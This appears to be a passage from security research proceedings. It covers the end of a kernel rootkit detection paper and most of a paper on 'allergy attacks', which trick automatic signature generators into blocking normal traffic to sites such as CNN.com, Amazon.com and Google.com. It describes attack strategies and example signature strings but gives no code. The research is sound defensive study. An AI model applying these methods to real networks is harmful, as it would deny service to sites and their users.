kernel driver set

Outcome Accuracy
True Positive 97.1% (67/69)

False Negative 2.9% (2/69)

are executed on the same hardware natively. When the total instruction count
limit is set to 10 million, Limbo is able to consistently complete the feature
extraction and driver classification process under 500 msec on a 2.4GHz, 2GB
RAM Pentium-4 machine running Windows XP Professional. This level of per-
formance is considered reasonable for most interactive users. Note that Limbo
only checks the legitimacy of unknown kernel drivers when they are about to be
loaded into the kernel. As a consequence, it does not affect the system start-up
time because most if not all of the kernel drivers loaded at system start-up have
gone through legitimacy checks and thus are considered known. Finally, Limbo
could further incorporate a white-listing mechanism to avoid checking signed
kernel drivers.

6 Attack Analysis

The current Limbo prototype has several limitations, most of which are related
to its emulation fidelity. As with all emulators, it is impossible to emulate all fea-
tures of an operating system, processor, and runtime environment. For example,
different processors have different instruction sets. Different machines have dif-
ferent hardware configurations. The inability to completely emulate these items
enables attackers to evade an emulation-based system. However, we believe eva-
sion techniques that exploit holes in emulators will become less effective as sys-
tem emulation technologies improve and techniques that detect evasion attempts
advance.

Traditional binary obfuscation techniques designed to defeat signature-based
AV scanning software are less effective against Limbo, because Limbo relies more
on run-time behaviors than on static instruction sequences. Behavior-level ob-
fuscation also seems difficult, because the run-time behaviors of most legitimate
kernel drivers follow well-defined patterns and show little variety. Despite this,
we recommend re-training Limbo’s classifier periodically so that it can upgrade
its distinguishing features in accordance to emerging kernel drivers and rootkits.

7 Conclusion and Future Work

Rootkit identification is challenging because fundamentally it requires one to
solve the problem of determining if a given piece of binary code is malicious
or not based on its static attributes and/or dynamic behaviors. Kernel rootkit
identification is a more difficult problem because reliably extracting a kernel
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driver’s run-time behavior is a significant technical challenge. The goal of the
Limbo project is even more formidable: perform kernel rootkit identification in
real time, before each kernel driver is to be loaded into the Windows operat-
ing system. This paper describes the design, implementation and evaluation of
the first known real-time kernel rootkit identification system that achieves high
identification accuracy for the current generation of kernel rootkits active in
the wild. The Limbo technology, as described in this paper, is scheduled to go
into all of Symantec’s Norton Security products. More concretely, the research
contributions of this work include

– The first comprehensive characterization of the run-time behaviors of the
current generation of kernel rootkits, and a set of rootkit identification fea-
tures based on these behaviors,

– A forced sampled execution approach to extract the run-time behaviors of
kernel rootkits that is simple and effective, and

– A fully operational prototype that successfully demonstrates its ability to
pro-actively identify kernel rootkits before they are loaded into the kernel in
real time.

There are several directions we plan to pursue to further improve the identi-
fication accuracy of the Limbo system. First, future kernel rootkits are likely to
follow the foot steps of computer viruses by incorporating logic to break emula-
tors. To address this problem, we plan to leverage virtual machine technology to
improve the emulation fidelity of Limbo’s emulator, particularly in kernel function
calls, kernel data structure accesses and privileged instruction execution. Second,
the way the current Limbo prototype samples the control flow graph of the kernel
driver under test does not make the best use of the per-block execution iteration
limit, in the sense that it does not attempt to cover as many contexts for a given
basic block as possible. We are working on a more intelligent sampled execution
strategy so as to expose more varieties of run-time behaviors from the driver un-
der test. Third, we plan to classify kernel rootkits into categories according to
their functionalities and run-time behaviors, and apply this high-level category
information to the training of the classification algorithm to further improve the
accuracy of kernel rootkit identification. Finally, it will be interesting to apply the
same methodology to user-level rootkit or spyware identification and see how ef-
fective it is. This requires a separate behavioral characterization effort to deduce
a set of features that can best distinguish between legitimate and malicious bina-
ries. Because the number of possible behaviors is significantly larger, the amount
of effort that such a characterization study requires is expected to be much higher.
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Abstract. As research in automatic signature generators (ASGs) re-
ceives more attention, various attacks against these systems are being
identified. One of these attacks is the “allergy attack” which induces the
target ASG into generating harmful signatures to filter out normal traffic
at the perimeter defense, resulting in a DoS against the protected net-
work. It is tempting to attribute the success of allergy attacks to a failure
in not checking the generated signatures against a corpus of known “nor-
mal” traffic, as suggested by some researchers. In this paper, we argue
that the problem is more fundamental in nature; the alleged “solution”
is not effective against allergy attacks as long as the normal traffic ex-
hibits certain characteristics that are commonly found in reality. We have
come up with two advanced allergy attacks that cannot be stopped by
a corpus-based defense. We also propose a page-rank-based metric for
quantifying the damage caused by an allergy attack. Both the analysis
based on the proposed metric and our experiments with Polygraph and
Hamsa show that the advanced attacks presented will block out 10% to
100% of HTTP requests to the three websites studied: CNN.com, Ama-
zon.com and Google.com.

Keywords: Automatic Signature Generation, Intrusion Prevention
Systems, Allergy Attacks.

1 Introduction

The use of automatic signature generators (ASGs) as a defense against fast
propagating, zero-day worms has received a lot of attention lately, and various
attacks against these systems are also being discovered. Allergy attack is one of
these attacks, and was defined in [2] as follows:

An allergy attack is a denial of service (DoS) attack achieved through
inducing ASG systems into generating signatures that match normal
traffic. Thus, when the signatures generated are applied to the perimeter
defense, the target normal traffic will be blocked and result in the desired
DoS.
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It might appear that there are simple counter-measures to allergy attacks; the
simplest “solution” is to perform a manual inspection of the generated signatures
before they are deployed. This is, however, a non-solution inasmuch as it defeats
the very purpose of having an ASG: to automate the defense against fast attacks.
Other ASGs employ some form of corpus-based mechanisms to retrofit for a low
false positive rate. In these ASGs, a new signature will only be deployed if it
matches a sufficiently small portion of past normal traffic stored in a corpus
that is commonly called the “innocuous pool”; for brevity we shall use the term
corpus when there is no confusion.

In this paper, we shall show that corpus-based mechanisms are not a gen-
eral solution against allergy attacks. In particular, we will identify two major
weaknesses of a corpus-based defense, and present advanced allergy attacks that
exploit them. The first type of attacks exploits the inability of a static cor-
pus to capture how normal traffic evolves over time. As a result, the type II
allergy attacks, which induces the ASG into generating signatures that match
traffic pattern specific to future traffic, cannot be stopped by a corpus-based
mechanism. The second type of attacks, the type III allergy attack employs
a divide-and-conquer strategy; it induces the ASG into generating a set of
allergic signatures, each only blocking a small portion of normal traffic, but
together can create a significant amount of damage. As we will argue, this
appears to be an inevitable consequence of the natural diversity in normal
traffic.

The rest of this paper is organized as follows: in Sect. 2, we will survey related
work and in Sect. 3, we will present a metric for quantifying the damages caused
by an allergy attack that blocks out only part of a target website. In Sect. 4
and 5, we will demonstrate the feasibility and effectiveness of the type II and
type III allergy attack, and study some popular websites, including CNN.com,
Amazon.com and Google.com. Our discussion in Sect. 4 and 5 assumes that
the attacker can induce the ASG into generating any allergic signature with
a sufficiently low false positive rate when evaluated against the ASG’s corpus,
and focus on showing that these signatures can still cause a significant level of
damage. In Sect. 6, we will validate our assumption by presenting our experience
in inducing Polygraph and Hamsa into generating the signatures studied in Sect.
4 and 5. Finally, we will conclude in Sect. 7.

We emphasize that even though our discussions focus on attack against HTTP
requests, the type II and type III attacks are not limited to HTTP traffic. The
underlying weaknesses of a corpus-based defense exploited by these attacks,
namely the static nature of the corpus, and the diversity in normal traffic ex-
ists for all kinds of real traffic. We focus on HTTP only because it is probably
the most tempting target for allergy attacks and is the major focus of many
existing ASGs. A compromised ASG that filters out normal HTTP requests
means inconvenience to Internet users and worse, direct business loss to site
owners.
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2 Related Work

2.1 Automatic Signature Generators

In most published ASGs (like [6,17,5]), suspicious traffic is identified by some
network-based monitoring mechanisms. The signature generation process will
then extract properties that are prevalent among suspicious traffic, and construct
signatures to filter packets with such properties. Usually, the signature generated
is simply a byte sequence, and any packet containing that byte sequence will be
dropped by the perimeter defense.

Recent advances in ASGs introduced the use of host-based mechanisms (e.g.,
STEM in [9] and taint analysis in [14,3]) to identify attack traffic and to capture
information about how the target host processes them. The use of information
from host-based systems in signature generation leads to the development of new
signature formats. In [3,1], signatures are no longer byte sequences to be matched
against incoming traffic, but are basically “programs” that takes a packet as in-
put, and determines whether it will lead to the same control/data flow needed
in exploiting a known vulnerability. Other new signature formats have also been
proposed. For example, the approaches in [12,8] generate signatures to match
packets that contain sets/sequences of “tokens” (byte sequences), while [7] out-
puts signatures that identify bytes corresponding to certain control structures
commonly found in suspicious traffic.

2.2 Attacks Against ASGs

Worm Polymorphism. From the early research in ASGs, worm polymorphism
is a well recognized problem. This is particularly true for systems that generate
signatures to identify “invariant” bytes in the attack traffic. As argued in [12],
exploits against certain vulnerabilities simply do not have any single contiguous
byte sequence that can be used to identify all instances of the attack while keep-
ing the false positive low. In other words, it is impossible for some traditional
ASGs to generate one effective signature for all exploitations of certain vulner-
abilities. As a solution to this problem, [12] proposed the use of signatures that
identify multiple byte sequences in the observed traffic, instead of only a single
byte sequence. However, as shown in [16,13], even this approach can be evaded
by specially crafted polymorphic worms.

Allergy Attack. In contrast to worm polymorphism, allergy attack against
ASGs is a much less recognized problem. Although many published ASGs are
vulnerable to the allergy attack, this threat is mentioned only very briefly in three
published work, as cited in the survey in [2]. Unlike worm polymorphism that
can lead to high false negatives, allergy attacks aim to introduce false positives.
While false negatives denote failure of the defense to protect the targeted host
but incur no additional damage, false positives can actually incur unanticipated
penalty to the targeted host due to the deployment of the defense mechanism
itself. Hence, allergy attacks are at least as important a problem facing ASGs as
polymorphism.
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As noted in [2], the root cause of the problem with allergy attack is the use of
semantic-free signature generation which extracts bytes from suspicious traffic
without considering how those bytes correspond to the observed malicious/worm
behavior. In other words, all parts of the worm are considered the same by the
signature generation process, and it is possible to extract as signatures bytes that
are totally irrelevant to any attack. Most traditional approach that extract byte
sequences (or features of packets) prevalent in suspicious traffic but uncommon
in normal traffic can be considered semantic-free. Purely network-based mecha-
nisms for identifying suspicious traffic also facilitate allergy attacks; they allow
attackers to easily pretend to be “suspicious”, and have their traffic used in sig-
nature generation. These mechanisms also give the attackers complete freedom
in what they send in for signature generation.

We should note that newer ASGs that are not semantic-free, such as [3,1]
are less vulnerable to allergy attacks. However, these ASGs are necessarily host-
based and come at a cost. The signature generation process is usually more
complicated and thus takes longer time than in traditional ASGs. The use of
host-based detection also leads to higher management cost and lower portability.
Many host-based mechanisms used in these new ASGs are quite heavy-weighted,
and may not be suitable for all legacy systems. Also, ASGs that employ host-
based detection require a separate detector for each type of host. For example,
if both Windows and Linux machines are to be protected, then at least two
host-based detectors are needed by the ASG.

2.3 Handling False Positives in Traditional ASGs

Even though the threats from false positives artificially introduced by allergy
attacks have been largely ignored, traditional ASGs employ various mechanisms
to reduce “naturally occurring false positives”. For example, both [17,5] use a
blacklisting mechanism to avoid generating signatures for normal traffic that
the ASGs are known to misclassify. In [12,8], a normal traffic corpus is used to
evaluate the expected false positive rates of candidate signatures, and those that
match a significant portion of the normal traffic will be discarded. However, these
mechanisms against “naturally occurring” false positives are ineffective against
maliciously crafted traffic from an allergy attack. As shown in [2], the blacklisting
mechanism in [5] cannot stop an allergy attack even if the target traffic is partly
blacklisted. The use of a normal traffic corpus is also not an effective defense
against allergy attacks, as we shall demonstrate in Sect. 4 and 5.

A related problem with a corpus-based mechanism is that the attackers may
contaminate the corpus with traffic similar to an imminent attack, so that sig-
natures generated for that attack will be dropped when evaluated against the
corpus. This technique is mentioned in [12,8,13], and is called “innocuous/normal
pool poisoning”. In order to solve this problem, the authors of [12,13] proposed
to “collect the innocuous pool using a sliding window, always using a pool that is
relatively old (perhaps one month)”, while [8] suggested to “collect the samples
for the normal pool at random over a larger period of time”. However, as we’ll
see, both solutions may significantly increase the power of type II attacks.
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3 Quantifying the Power of Allergy Attacks

Before we present the advanced allergy attacks, we will introduce our metric for
quantifying the damages they produce. Our metric is specific for attacks that
make particular pages under the target web site unavailable. We use a localized
version of page rank in [15] (under a localized version of their random surfer
model) to measure the importance of individual pages, and derive the amount
of damages caused by an attack from the importance of the pages blocked.

3.1 Localized Random Surfer Model

The major difference between the original random surfer model in [15] and our
localized version is that we only consider pages at the site of interest, due to
the lack in resources for the Internet-wide web crawling in [15]. In particular, we
assume visits to the site concerned always starts with a fixed “root page”. The
surfer in our model randomly follows links on the currently visited page with a
probability d (we assume d to be 0.85, which is the same value used in [15] and all
subsequent studies of the Pagerank algorithm), or “get bored” with probability
1-d, just as in [15]. However, when the surfer gets bored, he/she simply leaves,
instead of jumping to any other page in the site.

3.2 Localized Page Rank

Under our localized random surfer model, the metric for measuring the impor-
tance of a page is called the “localized page rank”, which measures the expected
number of times a page will be visited in a user session, i.e. between the time
when a user first visits the root page, to the time he/she leaves.

The computation of the localized page rank is the same as in [15], except that
we do not normalize the page rank, and we initialize the page rank of the root to
1. We do not perform normalization because we are more interested in the actual
number of times that a page will be visited, instead of its relative importance
among all other pages. The initial page rank of the root represents the visit to
the root page that occurs at the beginning of each user session.

Finally, we note that our modifications to the original random surfer model
may lead to underestimation of the importance of pages. In particular, a user
session may start at a non-root page, and the user may jump to some random
page in the studied site when he/she gets bored. However, observe that visitors
usually don’t know the URLs of many non-root pages, and most external links
point to the root page of a site. As a result, visitors don’t have much choice
but to start their visits at the root page, and cannot jump to many pages when
they get bored. In other words, inaccuracy in the computed page ranks due to
deviation from our surfer model should be minimal.

3.3 The Broken Link Probability

We are now ready to quantify the damage caused by an allergy attack to a
website. We call our metric the “broken link probability” (BLP), which is defined
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as the probability that a user will click on a link to any unreachable page before
the end of the user session. The BLP is intended to measure the degree of
frustration (or inconvenience) caused by an allergy attack.

To calculate the BLP, we first recompute the localized page rank for the
website under attack. However, during this computation, pages made unavailable
by the attack have a localized page rank of zero, though they are still counted as
“children” of pages that link to them (without knowing which pages are blocked
by an attack, visitors will behave as if there’s no attack, and have equal chance
of clicking on any link, broken or not). With the new set of localized page ranks,
the BLP can be obtained by the following formula:

BLP =
∑

pi∈UR

d
∑

pj∈M(pi)

PR(pj)
L(pj)

. (1)

where UR is the set of pages made unreachable by the attack, M(pi) is the set
of pages that have links to page pi, PR(pi) is the localized page rank of the page
pi, and L(pi) is the number of pages pointed to by pi. From the above formula,
we see that the BLP is effectively the sum of page ranks that the blocked pages
inherit from pages that remain available under the attack. Note that while the
localized page rank of a page is an overcount for the probability of visiting that
page if it links to other pages to form a loop, it is not a problem for the BLP
computation. This is because the user session ends on the first attempt to visit
an unavailable page; i.e. an unreachable page can only be reached at most once
in a user session. This also means visits to various unreachable pages in a user
session are mutually exclusive. Thus, we can compute the BLP by simply adding
up the localized page rank of the unreachable pages.

Finally, note that there is a close resemblance between a user session and
a TCP flow. This makes the BLP a good estimate of the false positive rate
expected when the allergic signatures are evaluated against a normal traffic
corpus. In particular, any TCP flow that is filtered by some allergic signature
will correspond to the same user session under our model: the one that visits the
same pages as in the flow until the first unreachable page is accessed.

4 Type II Allergy Attack

The term “type II allergy attack” was coined in [2] as a specific type of allergy
attack, though the idea first appeared in [17] as a threat against their blacklisting
mechanism, quoted as follows:

However, even this approach may fall short against a sophisticated at-
tacker with prior knowledge of an unreleased document. In this scenario
an attacker might coerce Earlybird into blocking the documents released
by simulating a worm containing substrings unique only to the unreleased
document.

In other words, the type II allergy attack targets future traffic and induces the
ASG into generating signatures to match patterns that appear in future traffic,
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but not those at present. As a result, the generated signatures will be deemed
acceptable when matched against the blacklist in [17,5], or any static corpus
which cannot predict what future traffic will be like. In order to prevent type II
attacks, the defender must identify all traffic components that evolve over time
(and avoid generating signatures for those components), or the signatures must
be constantly re-evaluated.1

A point worth noting is that it is not always necessary to predict how traffic
will evolve in order to launch a type II attack. The discussions in [17,2] assume
that the corpus is always “fresh” and captures all the normal traffic at the time of
the attack. However, it may not always be feasible to keep an up-to-date corpus;
in addition to the possibly prohibitive cost of constantly updating the corpus,
as mentioned in Sect. 2, a relatively old corpus may also be needed as a defense
against innocuous pool poisoning. In other words, instead of targeting “future”
traffic only, we should consider a type II allergy attack as one that induces the
ASG into generating signatures to filter traffic that appears only after the corpus
is generated. As we will see, this significantly increases the power of the type II
allergy attacks, and allows the attack to have instant effect.

In the following, we will show how some components common in HTTP re-
quests can be exploited by a type II attack, and analyze the amount of damages
that these attacks can cause on some example web sites.

4.1 Dates in URLs

The first common component in HTTP requests that can be utilized by a type
II allergy attack is the date encoded in URLs. Websites that constantly put up
new materials while keeping old ones available usually have the creation date
of a page encoded somewhere in its URL. This provides a very handy way of
organizing materials created at different time. Examples of websites that organize
their pages in this manner include CNN.com, whitehouse.gov, yahoo.com and
symantec.com. In the following, we will take CNN.com as an example for our
study of type II attacks targeting dates encoded in URLs.

We start our study of CNN.com by finding out URLs of pages under CNN.com,
as well as how they link to one another. For this purpose, we employ a simple
web crawler based on [10]. Our web crawler starts at www.cnn.com, the “root
page” under the localized random surfer model. Because of resource limitation,
we only focus on pages that are reachable within 5 clicks from the root page.
Furthermore, at any visited page, the crawler will only expand its exploration
to pages that either reside in the same directory as the current page, or are in
a direct subdirectory of the one holding the current page. However, due to the
redirection of some URLs under CNN.com to other sites, our web crawler also
collects information of pages under Time.com, EW.com and Money.cnn.com.
We performed our experiments from 16th Feb to 9th Mar, 2007, and crawled
the target site at 9am and 12 noon every day. In all our experiments, the web
crawler retrieved more than 5000 URLs in total, and more than 1000 of the
1 There are simply too many events that can change normal traffic to practically

enumerate them and perform the checking only when these events occurs.
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URLs are under the server CNN.com. We note the above restrictions may result
in undercounted BLP for some allergic signatures. However, since pages that are
more than 5 clicks away from the root usually have very low page rank, and
pages under CNN.com usually link to other pages that are either in the same
directory or a subdirectory, we believe the inaccuracy caused by the restrictions
on the web crawler should be minimal.

With the information collected, we studied how the BLP of 5 signatures that
encode the date of 24th to 28th Feb evolve from 5 days before to 4 days af-
ter the designated day (e.g. for the signature “/02/24/”, we measured its BLP
for each of the two data sets collected from 19th to the 28th of Feb). As men-
tioned before, we use the BLP as both a measure of the damage caused by
the allergic signature and an estimate of the false positive caused when the it
is evaluated against traffic collected on a particular day. Finally, in the follow-
ing discussion, we will call the day designated by the “date-encoding” signature
“day 0”, the day that’s one day before will be denoted as “day -1”, that which
is one day after “day 1”, and so on. The results of our experiments are shown in
Fig. 1a.

As we see from Fig. 1a, all 5 tested signatures produce a zero BLP before
the corresponding day 0. We have experimented with other allergic signatures
which encode the dates ranging from 16th Feb to 9th Mar, and they all show
a similar pattern. Though in some cases, the tested allergic signatures appear
before the corresponding day 0. This is usually caused by URLs that point to
pages created in the previous years (e.g. we find the string “/02/21/” in two
URLs that point to the 21st Feb, 2005 issue of the Money magazine). Nonethe-
less, the BLP of all the tested signatures remain below 1.5 ∗ 10−6 before day 0.
Thus, any allergic signature encoding a date after the corpus is generated will
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Fig. 1. Fig. 1a on the left shows how the BLP of 5 different date-encoded signatures
changes from 5 days before to 4 days after the designated date (with the designated
date denoted by day 0, days before that denoted by day -1, day -2 and so forth, days
after are denoted day 1, day 2, etc). The BLP of the tested signature at 9am of day n
is denoted by the point directly above the mark “n” on the x-axis, while the BLP at
12noon is denoted by the point between “n” and “n+1” on the x-axis. Fig. 1b on the
right shows the effectiveness of type II attacks that target dates in URL when used
against corpus of different age and launched on 5 different days (24th - 28th Feb).
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have a false positive below 1.5 ∗ 10−4% when evaluated against the corpus2. In
other words, the type II allergy attack that employ “date-encoding” signatures
will evade even corpus-based defenses with a very low false positive threshold
(both [16,8] suggested a 1% threshold, while the lowest threshold used in [12] is
0.001%).

Now let’s consider the power of the described attack against an up-to-date
corpus. Assuming that any allergic signature will be removed within a day since
it start filtering normal traffic, it appears the attacker should induce the ASG
into generating one single allergic signature for some future day (extra signatures
will take effect on a different day, and thus cannot add to the damages at day 0).
From Fig. 1a, we see that this attack will create a more than 6% chance for
visitors to CNN.com to reach an unavailable page if the allergic signature is not
removed by 9am. Also, note that the two days with the lowest BLP, 24th and
25th Feb, are both weekend days. In other words, the amount of damage for the
type II allergy attack studied above can be far greater if it targets a weekday;
the BLP created can be as high as 0.12 at 9am, and up to 0.2 if the attack is
not stopped by noon. Finally, we’d like to point out that the attack against an
up-to-date corpus requires a certain “build-up” time to reach the level of damage
predicted. In other words, the figures given above only apply if the attack is not
detected until 9am or 12noon; if the allergic signature is removed in the first few
hours of day 0, the damage caused will be much smaller.

On the other hand, if the corpus is n-day old, with the same notation used
above, the attacker can induce the ASG to generate signatures for the date of
day 0 to day -(n-1). For example, the attack on 16th Feb against a 3-day-old
corpus will involve the signatures “/02/16”, “/02/15/” and “/02/14/”. We have
experimented with the effectiveness of this attack when it is launched at noon
of the 5 different days tested above, against a corpus of “age” ranging from 1
day to a week, the results of our experiments are shown in Fig. 1b.

As shown in Fig. 1b, the use of a 2-day-old corpus instead of a fresh one
will almost double the damage caused by the attack, and an attack against a
one-week old corpus will produce a BLP of 0.25 to 0.3 with just 7 signatures.
Thus, the attack against an old corpus is significantly more powerful than that
against a “fresh” one. Furthermore, by targeting existing traffic patterns, the
attack can produce instant effect; in other words, the BLP resulted will reach
its maximum once the allergic signatures are in place. This is a sharp contrast
to the attack against a “fresh” corpus which may take a few hours to build up
its level of damage.

Finally, we note that the attacks described above are easily identifiable once
the broken links are reported and human intervention is called in. As we have
already noted, human intervention defeats the purpose of ASGs, and the at-
tacks can make some important parts of the target site temporarily
unavailable.

2 We believe it is highly unlikely that the studied signatures will match some other
parts of an HTTP requests, since dates in other fields are represented differently,
and the use of “/” outside the URL is very uncommon.
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4.2 Timestamp in Cookies

Another component in HTTP traffic that can be utilized by a type II attack is
the timestamp in web cookies. Web cookies are employed by many sites to keep
track of user preferences. New visitors to these websites will receive a set of web
cookies together with the content of the first page requested. The cookies will
be stored in the user’s machine, and will be sent with all further HTTP requests
to the site. Also, an expiration date is associated with each cookie sent to the
user, and when the date is reached, a new cookie will be issued.

We find that some sites use cookies to record the time for various user events.
For example, cookies from Amazon.com contains an 11-digit “session-id-time”
which expires in a week and records the day where the user’s last session started.
Another example of these timestamp cookies are the “TM” and “LM” cookies
from Google.com, where the former stores the time when the user first visited
the site, while the latter records when the user last modifies his/her preferences.
The time recorded in “TM” and “LM” are accurate up to one second, and will
not expire until year 2038. In other words, the “TM” value for any existing user
will remain the same, while the “LM” value only changes infrequently.

A type II allergy attack can exploit these timestamp cookies by inducing the
ASG into generating signatures that match future values taken by these cook-
ies (or their prefixes). To avoid the signatures from unintendedly matching other
parts of HTTP requests, the name of the cookies should be included, e.g. sig-
natures targeting the “session-id-time” cookie should be of the form “session-id-
time=xxxx”. With this signature format and a value for “xxxx” that is only used
after the corpus is generated, the signatures should be deemed usable by the ASG.

As for the effectiveness of the attack, let’s assume the corpus used is up-to-
date. The attack against Amazon.com will then employ a signature that filters
the value taken by the “session-id-time” cookie on a particular future day 0,
and will make all pages under Amazon.com inaccessible to any user who has the
corresponding cookie expires on or before day 0; their session-id-time cookie will
be updated to the value targeted by the attack after the first request, resulting
in all subsequent requests being filtered. Similarly, the attack against the “TM”
and “LM” will target the values taken by these cookies on a particular future
day, and will make all pages under Google.com unavailable to any user that
either modifies their preference or first visit the site on the designated day. Even
though the attacked sites will be virtually unreachable to any affected users, we
note that this may only be a small portion of the user population.

On the other hand, if the ASG employs an old corpus, the attack can target
all values that the timestamp cookies can take after the corpus is generated,
and create more significant damages. Note that virtually all HTTP requests to
Amazon.com will contain a “session-id-time” cookie that is generated between
day 0 and day -6; any other timestamp cookies will have expired, and will be
updated after the first request. As a result, if the corpus used is more than one
week old, the attacker can induce the ASG into generating signatures for all
valid values of the “session-id-time” cookie, and effectively make all pages under
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Amazon.com unavailable. As for the attack against Google.com, an old corpus
means the attacker can deny the access to the site for all users that first visited
Google.com or modified their preference after the corpus is generated.

In conclusion, an up-to-date corpus is very effective in limiting the power of
a type II attack. However, using a “fresh” corpus also makes it easier for worms
to evade the ASG through innocuous poisoning. The use of a corpus with traffic
collected over a long period of time (which is a solution to “innocuous pool
poisoning” proposed in [8]) may have the same effect as using an old corpus.
Let’s consider the encoded-date attack in Sect. 4.1 against a corpus with traffic
collected over a month (i.e. from day 0 to day -30). At 12noon of day 0, we can
assume that the allergic signature encoding the date for day 0 to appear in 20%
of the traffic for that day, but appears in close to 0% in the remaining 30 days
of traffic in the corpus. Similarly, the byte sequence that encodes the date for
day -1 will appear in 20% and 10% of traffic on day -1 and day 0 respectively,
and never appear for the other days. As a result, both signatures will match less
than 1% of all the traffic in the corpus, and can be used in a type II attack to
create a BLP of 0.15 to 0.2. Further analysis shows that the sum of the BLP at
noon from day 0 to day 4 is at most 0.36 for the 5 signatures tested in Sect. 4.1.
Thus, a corpus with over 40 days’ traffic will probably allow allergic signatures
for the date of day 0 to day -7 to be used to create the same level of damage as
when the type II attack is launched against a one-week-old corpus.

5 Type III Allergy Attack

A more nuanced weakness of a corpus-based defense is the diversity in normal
traffic, which is exploited in a type III allergy attack. We define a type III attack
as follows:

A type III allergy attack is an attack that induces the target ASG into
generating a set of signatures, such that each will have a false positive
low enough to be acceptable to the ASG, but as a whole, the set will
block a significant portion of normal traffic and amount to a non-trivial
DoS against the target network.

The main difference between the type II and the type III attack is that sig-
natures generated by the former have their false positives increase significantly
over time, while false positive rates for signatures from the latter stay at a low
level. In other words, the type III attack takes a more “brute-force” approach,
and requires more signatures than the type II attack. On the other hand, the
type III attack is much more flexible, and is much easier to design.

We can also see the type III attack as a divide-and-conquer strategy; it “di-
vides” the target traffic into small pieces, and “conquer” each with an allergic
signature specific for that piece. With signatures specific for small pieces of traf-
fic, we can guarantee that each signature will have a sufficiently low false positive.
However, the success of this strategy depends on the following conditions:
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1. The ASG must tolerate signatures that cause some minimal false positives.
2. There must be sufficient diversity in the normal traffic for the attacker to

“divide” them into small pieces, each distinguished by the signature that
matches only that piece but nothing else. In other words, if there is very
little variation among normal traffic, any allergic signature will have a very
high false positive, and it would be impossible to launch a type III attack.

Our literature survey shows that the first condition should be met by any
reasonable ASG. In fact, in order for the ASG to be of any use, it must tolerate
a certain degree of false positives in the signatures. This is because the corpus
may contain anomalous traffic, even after all instances of known attacks have
been removed. In fact, the studies in [16] found that 0.007% of traffic in their
corpus matches the signature for the true invariant bytes of the worm they’ve
tested. The author of [16] also reported a similar 0.008% of anomalous traffic in
the innocuous pool used in [12]. In other words, if the ASG were to be effective
against the worm tested in [16], it must accept signatures that match as much as
0.08% of flows in the normal traffic corpus. For our discussions below, we assume
the ASG will accept any signature that matches less than 1% of the traffic in the
corpus3. Next, let us consider how the attacker can “divide” the normal traffic
and satisfy the second condition.

5.1 Diversity in Pages Visited

For any website of reasonable size, the BLP of a page may drop very quickly with
the number of clicks required to reach that page from the root. In other words,
pages that are only reachable after 2 or 3 clicks from the root page may well have
BLP far below 0.01, our false positive threshold. This is especially true for sites
like CNN.com where pages tend to have a large number of links (e.g. the root
page alone points to more than 100 pages). Thus, the mere size of the target site
may provide the diversity needed for a type III allergy attack; all but the most
popular pages under these sites are requested only in a very small portion of user
sessions. As a result, an allergic signature that targets requests for any particular
page is very likely to evade a corpus-based defense, and a significant amount of
damage can be caused by a large number of such signatures, each matching
requests for different pages. To evaluate the effectiveness of this attack, we once
again experimented with the data collected about CNN.com.

We construct our type III attack against CNN.com with a very generic method
that can be applied to any other website. In particular, we search over all pages
under our target site, starting with the root page, and consider pages reachable
with fewer clicks from the root first. For any page examined, we compute the
BLP expected if that page is blocked. If the BLP is lower than the threshold, we
mark that page as a target, otherwise, we “expand” the search from that page
(i.e. examining all pages pointed to by the current page later). For each target
page, we extract random 10-byte subsequences from the “path” part of its URL,
and use the first one with BLP below the threshold as the allergic signature for
3 Both [8,16] use a false positive threshold of 1%.
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Fig. 2. BLP caused by different number of allergic signatures from the type III attack
targeting the “not-so-popular” pages under CNN.com

that page. Finally, we sort the signatures in descending order of their BLP, and
compute the total BLP resulted when different number of these signatures are
applied. We have repeated this experiment for the five data sets collected at 9am
of 24th to 28th Feb, and the results are shown in Fig. 2.

As we can see, the first 50 allergic signatures always create a BLP of more
than 0.25, and an additional 50 signatures will bring the BLP up to 0.6. Also
note that the algorithm presented is not optimized for finding the smallest
set of signatures that creates the maximum BLP; instead, it is only intended
as a simple proof-of-concept. Thus, it is entirely possible for a type III at-
tack to produce the same level of damage predicted in Fig. 2 with fewer
signatures.

5.2 Diversity in Search Terms

The diversity of keywords queried at different search engines like Google.com
can also be exploited in a type III attack. We conjecture that the queries from
different users are so diverse that even the most frequently searched keywords
are involved in a very small portion of flows, and the data from Hitwise [4] seems
to support this conjecture. By collecting network data from various ISPs, Hit-
wise provides various statistics concerning the use of search terms at various
search engines. According to Hitwise, the top 10 search terms “that success-
fully drove traffic to websites in the Hitwise All Categories category for the 4
weeks ending February 24, 2007, based on US Internet usage” are as shown in
Table 1.

As we can see, even the most popular keyword, “myspace” accounted for
only 1.07% of all observed searches. Furthermore, the volume of searches re-
ceived drops quickly with a search term’s ranking. Even though it is not clear
how Hitwise come up with their ranking, the data above seems to suggest that
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Table 1. Top 10 search terms for the 4 weeks ending 24th Feb, 2007, with the per-
centage of searches that each term accounts for

Rank Search Term Volume

1 myspace 1.07%

2 myspace.com 0.64%

3 ebay 0.41%

4 www.myspace.com 0.35%

5 yahoo 0.21%

6 mapquest 0.18%

7 myspace layouts 0.18%

8 youtube 0.18%

9 craigslist 0.14%

10 yahoo.com 0.14%

all but the most popular search terms will appear in a far less than 1% of
traffic. Thus, an allergic signature targeting queries for a specific search term
will most likely have a false positive low enough to evade any corpus-based
defense.

Even though it is hard to evaluate the power of an allergic signature that
blocks out all queries for a particular search term, we argue that the damage
caused by such attacks can be non-trivial and many-folded. First of all, this
may mean direct business loss to the search engine. Let’s take Google.com as an
example. Under Google’s advertising program, Google AdWords, each advertise-
ment is associated with a set of search terms, and it only appears when a user
searches for one of those terms. Furthermore, Google only charges an advertiser
when a user clicks on his/her advertisement. As a result, a type III attack that
blocks out all queries for search terms associated with an advertisement will
make that advertisement completely non-profitable for Google.

The type III attack described above will also affect parties whose websites will
be listed when somebody queries on the targeted keywords. The most obvious
example victims are the advertisers on Google AdWord whose advertisements
will never reach their customers. Damages can also come in other flavors. For
example, according to [18], the following search terms: “BARACK OBAMA”,
“HILLARY CLINTON” and “JOHN EWARDS” (three politicians running for
the president of the US) all accounts for less than 0.01% of all searches observed
by Hitwise between Sep 2006 and Jan 2007. In other words, it is entirely feasible
to have a type III attack that blocks out all searches for a particular candidate,
which may create non-trivial damage to his/her campaign.

5.3 Cookies Revisited

In addition to recording time, web cookies are sometimes used to distinguish
different users/user sessions. For example, the cookies from Google.com include
a 16-digit hexadecimal value called “PREF-ID”, which uniquely identifies a user.
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Similarly, both Yahoo.com and Amazon.com include an ID for either the user
